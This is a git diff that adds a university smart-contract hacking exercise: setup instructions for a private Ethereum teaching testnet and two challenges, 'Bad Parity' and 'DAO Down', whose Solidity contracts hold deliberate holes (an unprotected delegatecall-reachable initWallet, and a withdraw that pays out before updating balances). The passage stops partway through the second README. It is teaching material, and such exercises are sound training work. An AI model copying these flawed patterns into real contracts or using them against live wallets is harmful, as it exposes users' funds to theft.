diff --git a/.gitignore b/.gitignore index 3ae5461..db0b328 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,21 @@ *.log *.synctex.gz *.out + +# Ignore public/private key pair +UTC--* + +# Ignore password file +passwordfile + +# Ignore addresses file for personal contracts +addresses + +# Ignore smartenv +smartenv_project + +# Ignore genesis block +genesis.json + +# Ignore enodes +enodes diff --git a/project2/README.md b/project2/README.md new file mode 100644 index 0000000..f3713f9 --- /dev/null +++ b/project2/README.md @@ -0,0 +1,181 @@ +# Project 2 - Setup for Participants + +This exercise is intended as a group project. You should solve it as follows: +- Every participant of every group should have received a personal account and some personal contracts (see below for more info); +- Every participant of every group should try to experiment and exploit their own contracts; +- You are encouraged to try the challenges yourself and then work on a solution together WITHIN your group; +- You should write and submit one report per group, documenting your solutions, how you found them, what obstacles you encountered, etc. + +You should have received the following via mail: + +* A **public/private key pair** (i.e., an external account). This is the file starting with `UTC--`. +Your account should be initialized with a balance of `16` *EveCoins* (our private fake ether), which should be more than enough to solve all the challenges. + +* The **password file** to your account. This is the file `passwordfile`. +It contains the password to unlock and use your account. + +* A `genesis.json` file describing the first block of our custom Proof-of-Authority (PoA) Ethereum blockchain. + +* The node information on how to find and connect to our custom Ethereum (geth) PoA chain. +This is the file `enodes`. + +* The addresses of the personalized contracts to exploit in the challenges. +This is the file `addresses`. + +## Task + +- **Every member of every group:** +Your task is to exploit the (personalized) challenges and use their funds to increase the balance of **your** *external account*, +which was initialized with `16` *EveCoins*. Of course you are free to work on the exploits together with your group members. +However, to *ease the grading* for us we expect that every member of the group exploits the challenges. +- **Once per group:** +In the end, prepare a short LaTeX report documenting your solution, the vulnerabilities, +how you exploited them, perhaps also some commands you used, how they could be avoided, etc. +Please use the template we provide in TUWEL. We will mainly grade as indicated below, but +keep in mind that a good report could give you some extra points while submitting a report +with no explanations (e.g., only your commands) will decrease your points. +Not submitting a report will result in 0 points. +- **Challenges:** +You should have received the challenges via mail. Inside every challenge there is a `README.md` file that provides explanations. + +All your challenges can award you with `100` *EveCoins* max. (`30*3 + 10`), including your initial funds (i.e., `16` *EveCoins*) you +can get more than `100` *EveCoins*. + +Grading is done by counting the *EveCoins* in your *external account* as follows: +1. More than 80 *EveCoins* on your external account + - and at least 4 personalized contracts exploited such that they have 0 funds +2. More than 70 *EveCoins* on your external account + - and at least 3 personalized contracts exploited such that they have 0 funds +3. More than 60 *EveCoins* on your external account + - and at least 2 personalized contracts exploited such that they have 0 funds +4. More than 50 *EveCoins* on your external account + - and at least 2 personalized contracts exploited such that they have 0 funds + +Be careful not to "burn" your *EveCoins* due to mistakes or in risky pyramid schemes. +If your funds are gone they are gone! Hence, you might want to test your solutions first in a `ganache` test network as shown in the tutorial. + +[comment]: <> (In rare cases if you screwed up very badly and have a really good excuse we *might* bail you out, but then you have to write a _detailed_ report on how you solved all the challenges) + +In case of questions, or confessing painful mistakes contact us on the TUWEL forum. + +**Note:** +It is advisable to keep the commands you used for solving each challenge as a backup and as a reminder for you in case you have to "replay" your solutions on a newly initialized blockchain instance. Furthermore, you will need the commands when writing the report. + +## Connect to our custom testnet + +To connect to our private Ethereum PoA testnet you need our *genesis block*, which you should have received via mail. +Do not modify this file. This file has to be identical, otherwise you will not be able to connect. + +- Ensure that the file `/genesis_config/go-ethereum/genesis.json` is the identical to the `genesis.json` file you have received from us via mail, otherwise replace the former with the latter. +- Copy your personal key file (the file starting with `UTC--`) into the folder `/datadir/bob/keystore` (and if the folder does not exist create it yourself). +- The `passwordfile` will later be used to unlock your account. +- Ensure that the enode information in `geth_run_bob.sh` is identical to the one you received per mail. Otherwise, replace the `enode` string in the following line with the value that you received from us: +```bash +export BOOTNODE="enode://7e2f25fbffc9210113452523b3d3823f6ee1f03752f0e9393d8bfb30dcf4ad3d60d73667ef6c25845171478a25ed8bd7e312d035a7cae0fe58e11c4f5a9738c5@ethereum.teaching.secpriv.wien:30303?discport=30303" +``` +### Prerequisites + +1. You might need to install `pwgen`: +```bash +$ apt-get install pwgen # or on macOS: brew install pwgen +``` + +2. Install docker ce + +Install docker according to your respective distribution: +https://docs.docker.com/get-docker/ + +3. Build docker image + +```bash +$ DOCKERFILE=smartenv.geth.stable.Dockerfile +$ VERSIONTAG=v1.9.23 +$ bash docker_build_smartenv.sh +``` + +### Connect + +Make sure that the system time of your computer is correct, this is relevant for our PoA setup. +Then, initialize your client (Bob), and run it to connect to our server. +```bash +$ ntpdate ntp.ubuntu.com # or on macOS: sudo sntp -sS time.apple.com +$ bash geth_init_bob.sh +$ bash geth_run_bob.sh +``` + +**Note:** When you connect to the server for the first time it can take a bit of time until you client (Bob) syncs with our testnet blockchain. + +**Note:** Check if all your contracts have the right initial balances. +There should be 3 contracts with `30` *EveCoins* each and one with `10` *EveCoins*. +You can do this by running: +```bash +$ bash geth_attach.sh +``` +If the command fails, you might need to set the container identifier of your docker container (which you can get by running `docker ps`), +or change the port number to a port that is not in use. For example: +```bash +$ CONTAINERID=... RPCPORT=... bash geth_attach.sh +``` + +Once you connect to geth, then execute the following command, by replacing `"..."` with the addresses of your contracts found in the file `addresses` +that you receive from us via mail: +```bash +eth.getBalance("...") +``` + +For more commands and some help refer to the Ethereum tutorial (and the recording of it on TUWEL), walk through it yourself or read the hints provided with some of the challenges. + +## More hints + +If you want, you can run a Jupyter notebook using: +```bash +$ bash docker_build_smartcode.sh +$ bash docker_run_smartcode.sh +``` + +Then, inside the notebook make sure to import and connect to your client (Bob) using the following: +```python +import sys +import requests +sys.path.append("/smartcode/util") +import util +from importlib import reload +reload(util) + +# Connect to Bob + +#w3=web3.Web3(web3.Web3.HTTPProvider("http://172.18.0.1:8545")) +# check if connection was successful +w3=util.connect(host="172.18.0.8",port="8545",poa=True) +assert w3.isConnected() +``` + +To unlock your account +```python +pw = "the password in passwordfile that you receive per mail" +address = w3.eth.accounts[0] # the address we want to unlock +w3.geth.personal.unlockAccount(address,pw,0) # third (optional) parameter is the duration (if 0 then forever) +``` + +### Create your own local ganache testnet + +You should have more than enough coins to solve the challenges on our chain. +In case you want to be careful, you can (as mentioned in the tutorial) build your own testnet. +You can do this as follows and/or look at the tutorial. +**Note:** Be sure, not to mix up the repository where you set up your own ganache with the one you use for solving the challenges on our server. + +In order to build local testnet, if not already done, do the following: + +```bash +$ DOCKERFILE=smartenv.geth.stable.Dockerfile +$ VERSIONTAG=v1.9.23 +$ bash docker_build_smartenv.sh +``` + +Then, build ganache: + +```bash +$ bash docker_build_ganache.sh +``` + +Follow the instructions in `README_TUTOR.md` up to "Test client bob". diff --git a/project2/badparity/README.md b/project2/badparity/README.md new file mode 100644 index 0000000..507e7a1 --- /dev/null +++ b/project2/badparity/README.md @@ -0,0 +1,32 @@ +# Bad Parity + +## Story + +You are still working at an IT Security Consultant company called *AllmostAllsafe*. +The biggest customer of *AllmostAllsafe* is *EveCorp*. +*EveCorp* is highly interested in Blockchain and Smart Contract projects lately (as almost every company...). +After the great success of their fund raising DAO, the company wants to put their funds into a very secure *Wallet contract* so that all funds are better protected. + +Therefore, they have decided to put their faith into a *Wallet contract* library form a subcontractor called *BadParity*. + +That is the story so far. + +*ring ring late night emergency call* + +There is a major security breach within the wallet contracts of *BadParity* and you have to handle the incident response! +Since it is a smart contract we cannot simply patch the vulnerability. +Moreover, the admin of the customer who is under the controll of the keys for the *Wallet contract* is on vacation - therefore we cannot simply use those keys. + +To the rescue: It is your task to find the vulnerability, exploit it and withdraw all the money from the *Wallet contract* before an attacker can do that. + +## Technical description + +There is an instance of the *Wallet contract* for every student, initialized with a balance of `30` *EveCoins*. +The *Wallet contract* is of course owned by an *EveCorp* account, that is not under your control. + +The challenge is solved when the balance of your *Wallet contract* is `0` + +## Hints + +* http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/ +* http://solidity.readthedocs.io/en/v0.4.23/introduction-to-smart-contracts.html diff --git a/project2/badparity/Wallet.abi b/project2/badparity/Wallet.abi new file mode 100644 index 0000000..118f856 --- /dev/null +++ b/project2/badparity/Wallet.abi @@ -0,0 +1 @@ +[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getWalletLibrary","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"new_owner","type":"address"}],"name":"changeOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_student","type":"address"},{"name":"lib","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"exitcode","type":"uint256"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"LogValue","type":"event"}] \ No newline at end of file diff --git a/project2/badparity/Wallet.bin b/project2/badparity/Wallet.bin new file mode 100644 index 0000000..a68fa58 --- /dev/null +++ b/project2/badparity/Wallet.bin @@ -0,0 +1 @@ +6080604052604051604080610a038339810180604052604081101561002357600080fd5b81019080805190602001909291908051906020019092919050505081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1633604051602401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506040516020818303038152906040527f9da8be21000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831015156101e657805182526020820191506020810190506020830392506101c1565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610246576040519150601f19603f3d011682016040523d82523d6000602084013e61024b565b606091505b50505050506107a48061025f6000396000f3fe608060405260043610610067576000357c0100000000000000000000000000000000000000000000000000000000900480632e1a7d4d14610199578063893d20e8146101ec578063a291950214610243578063a6f9dae11461029a578063b439548d14610303575b7fa9a26360ded17bbe6528a5ec42df34cc22964927204d7a69575e12c6839d426c61012d34604051808381526020018281526020019250505060405180910390a1600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614151561010457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600036604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461018f576040519150601f19603f3d011682016040523d82523d6000602084013e610194565b606091505b505050005b3480156101a557600080fd5b506101d2600480360360208110156101bc57600080fd5b810190808035906020019092919050505061035a565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061020161055b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024f57600080fd5b50610258610585565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a657600080fd5b506102e9600480360360208110156102bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b34801561030f57600080fd5b5061031861074e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1684604051602401808281526020019150506040516020818303038152906040527f2e1a7d4d000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310151561045a5780518252602082019150602081019050602083039250610435565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146104ba576040519150601f19603f3d011682016040523d82523d6000602084013e6104bf565b606091505b5091509150811561050f577fa9a26360ded17bbe6528a5ec42df34cc22964927204d7a69575e12c6839d426c60c885604051808381526020018281526020019250505060405180910390a1610551565b7fa9a26360ded17bbe6528a5ec42df34cc22964927204d7a69575e12c6839d426c61019185604051808381526020018281526020019250505060405180910390a15b8192505050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1684604051602401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506040516020818303038152906040527fa6f9dae1000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831015156106da57805182526020820191506020810190506020830392506106b5565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461073a576040519150601f19603f3d011682016040523d82523d6000602084013e61073f565b606091505b50915091508192505050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690509056fea165627a7a723058203024facebbcbdaf6884375140d77d0c9e9b6306a34839338769d9eff07bb0c480029 \ No newline at end of file diff --git a/project2/badparity/Wallet.sol b/project2/badparity/Wallet.sol new file mode 100644 index 0000000..73f9e60 --- /dev/null +++ b/project2/badparity/Wallet.sol @@ -0,0 +1,51 @@ +pragma solidity ^0.5.4; + +contract Wallet { + address walletLibrary; + address payable owner; + address payable student; + + event LogValue(uint256 exitcode,uint256 amount); + + // constructor, called once when this contract is created + constructor(address payable _student, address lib) public payable { + student = _student; + walletLibrary = lib; // hardcode lib address at deploy time + // init the owner with the respective lib contract + walletLibrary.delegatecall(abi.encodeWithSignature("initWallet(address)", msg.sender)); + } + + function getOwner() public view returns (address payable) { + return owner; + } + + function getWalletLibrary() public view returns (address) { + return walletLibrary; + } + + function withdraw(uint256 amount) public returns (bool) { + (bool success, bytes memory data) = walletLibrary.delegatecall(abi.encodeWithSignature("withdraw(uint256)", amount)); + if ( success ) { + emit LogValue(200,amount); + } else { + emit LogValue(401,amount); + } + return success; + } + + function changeOwner(address payable new_owner) public returns (bool) { + (bool success, bytes memory data) = walletLibrary.delegatecall(abi.encodeWithSignature("changeOwner(address)", new_owner)); + return success; + } + + function getStudent() public view returns (address) { + return student; + } + + // fallback function gets called if no other function matches call + function () external payable { + emit LogValue(301,msg.value); + require( tx.origin == student ); + walletLibrary.delegatecall(msg.data); + } +} diff --git a/project2/badparity/WalletLibrary.abi b/project2/badparity/WalletLibrary.abi new file mode 100644 index 0000000..a59f09d --- /dev/null +++ b/project2/badparity/WalletLibrary.abi @@ -0,0 +1 @@ +[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_owner","type":"address"}],"name":"initWallet","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"new_owner","type":"address"}],"name":"changeOwner","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"exitcode","type":"uint256"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"LogValue","type":"event"}] \ No newline at end of file diff --git a/project2/badparity/WalletLibrary.bin b/project2/badparity/WalletLibrary.bin new file mode 100644 index 0000000..59aee10 --- /dev/null +++ b/project2/badparity/WalletLibrary.bin @@ -0,0 +1 @@ +608060405234801561001057600080fd5b506103fb806100206000396000f3fe60806040526004361061005c576000357c0100000000000000000000000000000000000000000000000000000000900480632e1a7d4d1461009e578063893d20e8146100f15780639da8be2114610148578063a6f9dae11461018c575b7fa9a26360ded17bbe6528a5ec42df34cc22964927204d7a69575e12c6839d426c60c834604051808381526020018281526020019250505060405180910390a1005b3480156100aa57600080fd5b506100d7600480360360208110156100c157600080fd5b81019080803590602001909291905050506101f5565b604051808215151515815260200191505060405180910390f35b3480156100fd57600080fd5b506101066102b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61018a6004803603602081101561015e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102df565b005b34801561019857600080fd5b506101db600480360360208110156101af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610323565b604051808215151515815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ab57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505090506102b0565b600090505b919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103c55781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190506103ca565b600090505b91905056fea165627a7a723058205f88d4d451a7221ee85e4076f21abdd5b7040cb167545c1a755fb96263ea19160029 \ No newline at end of file diff --git a/project2/badparity/WalletLibrary.sol b/project2/badparity/WalletLibrary.sol new file mode 100644 index 0000000..0628a43 --- /dev/null +++ b/project2/badparity/WalletLibrary.sol @@ -0,0 +1,38 @@ +pragma solidity ^0.5.4; + +contract WalletLibrary { + address walletLibrary; + address payable owner; + address payable student; + + event LogValue(uint256 exitcode,uint256 amount); + + function initWallet(address payable _owner) public payable { + owner = _owner; + } + + function getOwner() public view returns (address payable) { + return owner; + } + + function changeOwner(address payable new_owner) public returns (bool success) { + if (msg.sender == owner) { + owner = new_owner; + return true; + } else { + return false; + } + } + + function withdraw(uint256 amount) public returns (bool success) { + if (msg.sender == owner) { + return owner.send(amount); + } else { + return false; + } + } + + function () external payable { + emit LogValue(200,msg.value); + } +} diff --git a/project2/daodown/EDao.abi b/project2/daodown/EDao.abi new file mode 100644 index 0000000..be3d132 --- /dev/null +++ b/project2/daodown/EDao.abi @@ -0,0 +1 @@ +[{"constant":true,"inputs":[],"name":"student","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"investorAddr","type":"address"},{"name":"canAdd","type":"bool"}],"name":"addInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"getInvestor","outputs":[{"name":"canFund","type":"bool"},{"name":"canAddInvestor","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"queryFunds","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"fundit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"},{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_student","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"ret","type":"uint256"}],"name":"Success","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"ret","type":"uint256"}],"name":"Fail","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"req","type":"uint256"},{"indexed":false,"name":"avail","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"NotEnoughFunds","type":"event"}] \ No newline at end of file diff --git a/project2/daodown/EDao.bin b/project2/daodown/EDao.bin new file mode 100644 index 0000000..e5d8dd2 --- /dev/null +++ b/project2/daodown/EDao.bin @@ -0,0 +1 @@ +6080604052604051602080610d2e8339810180604052602081101561002357600080fd5b8101908080519060200190929190505050604080519081016040528060011515815260200160011515815250600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548160ff021916908315150217905550905050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604080519081016040528060011515815260200160011515815250600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548160ff02191690831515021790555090505050610b4f806101df6000396000f3fe60806040526004361061008d576000357c010000000000000000000000000000000000000000000000000000000090048063b439548d1161006b578063b439548d146101ba578063ce37143114610211578063de21dc6f14610276578063f3fef3a3146102ba5761008d565b8063699450e81461009257806370a01b3d146100e95780638f35a75e14610146575b600080fd5b34801561009e57600080fd5b506100a761032d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100f557600080fd5b506101446004803603604081101561010c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610352565b005b34801561015257600080fd5b506101956004803603602081101561016957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610565565b6040518083151515158152602001821515151581526020019250505060405180910390f35b3480156101c657600080fd5b506101cf61060c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021d57600080fd5b506102606004803603602081101561023457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610635565b6040518082815260200191505060405180910390f35b6102b86004803603602081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106f8565b005b3480156102c657600080fd5b50610313600480360360408110156102dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061090b565b604051808215151515815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61035a610ad5565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff16151515158152505090508060200151156104f3576040805190810160405280600115158152602001831515815250600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548160ff0219169083151502179055509050507fc56317b24992a55703014380badea37068147222bc9a17ee2cbf53795835f2ea336000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1610560565b7f9a32b11edd890aab1099a146becacebd87f83efde8c1749aeb65e9ac70a05c36336002604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b505050565b600080610570610ad5565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff1615151515815250509050806000015192508060200151915082829250925050915091565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061063f610af3565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152505090508060200151915050919050565b610700610ad5565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff1615151515815250509050806000015115610896576000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050828160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503481600101600082825401925050819055507fc56317b24992a55703014380badea37068147222bc9a17ee2cbf53795835f2ea336000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150610907565b7f9a32b11edd890aab1099a146becacebd87f83efde8c1749aeb65e9ac70a05c36336001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600080fd5b5050565b600080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508281600101541015801561097a57503073ffffffffffffffffffffffffffffffffffffffff16318311155b15610a325760008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168460405180600001905060006040518083038185875af1925050503d8060008114610a03576040519150601f19603f3d011682016040523d82523d6000602084013e610a08565b606091505b505090508015610a2c57838260010154038260010181905550600192505050610acf565b50610ac9565b7ffe2a5c5ee716412dd2eb64e543d9a876a4ea48e8ca556232f817fb8d9d855ae3338483600101543073ffffffffffffffffffffffffffffffffffffffff1631604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a15b60009150505b92915050565b60408051908101604052806000151581526020016000151581525090565b6040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152509056fea165627a7a72305820e8e60df66e423455928bc3fb6b89b78edf58f7cebc2fc2721443f6dbbef594ee0029 \ No newline at end of file diff --git a/project2/daodown/EDao.sol b/project2/daodown/EDao.sol new file mode 100644 index 0000000..2e58031 --- /dev/null +++ b/project2/daodown/EDao.sol @@ -0,0 +1,90 @@ + +pragma solidity ^0.5.4; + +contract EDao { + address payable public student; + + //Events + event Success(address src,uint256 ret); + event Fail(address src,uint256 ret); + event NotEnoughFunds(address src, uint256 req, uint256 avail, uint256 balance); + + //Structs + struct Fund { + address payable payoutAddr; + uint256 amount; + } + struct Investor { + bool canFund; + bool canAddInvestor; + } + + //Mappings + mapping(address => Investor) investors; + mapping(address => Fund) funds; + + constructor(address payable _student) public payable { + // Set the deployer as one of the investors who initially funded this contract + investors[msg.sender] = Investor({canFund:true, canAddInvestor:true}); + + // Set the student as one of the investors + student = _student; + investors[student] = Investor({canFund:true, canAddInvestor:true}); + } + + function fundit(address payable to) public payable { + Investor memory b = investors[msg.sender]; + if (b.canFund) { + Fund storage f = funds[to]; + f.payoutAddr = to; + f.amount += msg.value; + emit Success(msg.sender,0); + } else { + emit Fail(msg.sender,1); + revert(); + } + } + + function queryFunds(address addr) public view returns (uint256) { + Fund memory f = funds[addr]; + return f.amount; + } + + function withdraw(address payable addr,uint256 amount) public returns (bool) { + Fund storage f = funds[addr]; + if (f.amount >= amount && amount <= address(this).balance) { + (bool success, ) = f.payoutAddr.call.value(amount)(""); + if (success) { + f.amount = f.amount - amount; + return true; + } + } else { + emit NotEnoughFunds(msg.sender,amount,f.amount,address(this).balance); + } + return false; + } + + function getStudent() public view returns (address) { + return student; + } + + function addInvestor(address payable investorAddr,bool canAdd) public { + Investor memory b = investors[msg.sender]; + if (b.canAddInvestor) { + investors[investorAddr] = Investor({canFund:true, canAddInvestor:canAdd}); + emit Success(msg.sender,0); + } else { + emit Fail(msg.sender,2); + } + } + + function getInvestor(address investorAddr) public view returns (bool canFund, bool canAddInvestor) { + Investor memory b = investors[investorAddr]; + canFund = b.canFund; + canAddInvestor = b.canAddInvestor; + return (canFund, canAddInvestor); + } + +} + + diff --git a/project2/daodown/README.md b/project2/daodown/README.md new file mode 100644 index 0000000..3f45f2b --- /dev/null +++ b/project2/daodown/README.md @@ -0,0 +1,35 @@ +# DAO Down + +## Story + +You are working at an IT Security Consultant company called *AllmostAllsafe*. +The biggest customer of *AllmostAllsafe* is *EveCorp*. +*EveCorp* is highly interested in Blokchain and SmartContract projects lately. +Their latest project is a fund raising DAO (*Directed* Autonomous Organisation). +This *EDao* was used to gather large amounts of *EveCoins* and used to invest them into different projects. + +There are rumours that the *EDao* has a severe bug that might be exploited by one of the already funded projects. +Since it is a smart contract we cannot simply patch this vulnerability. +The only way 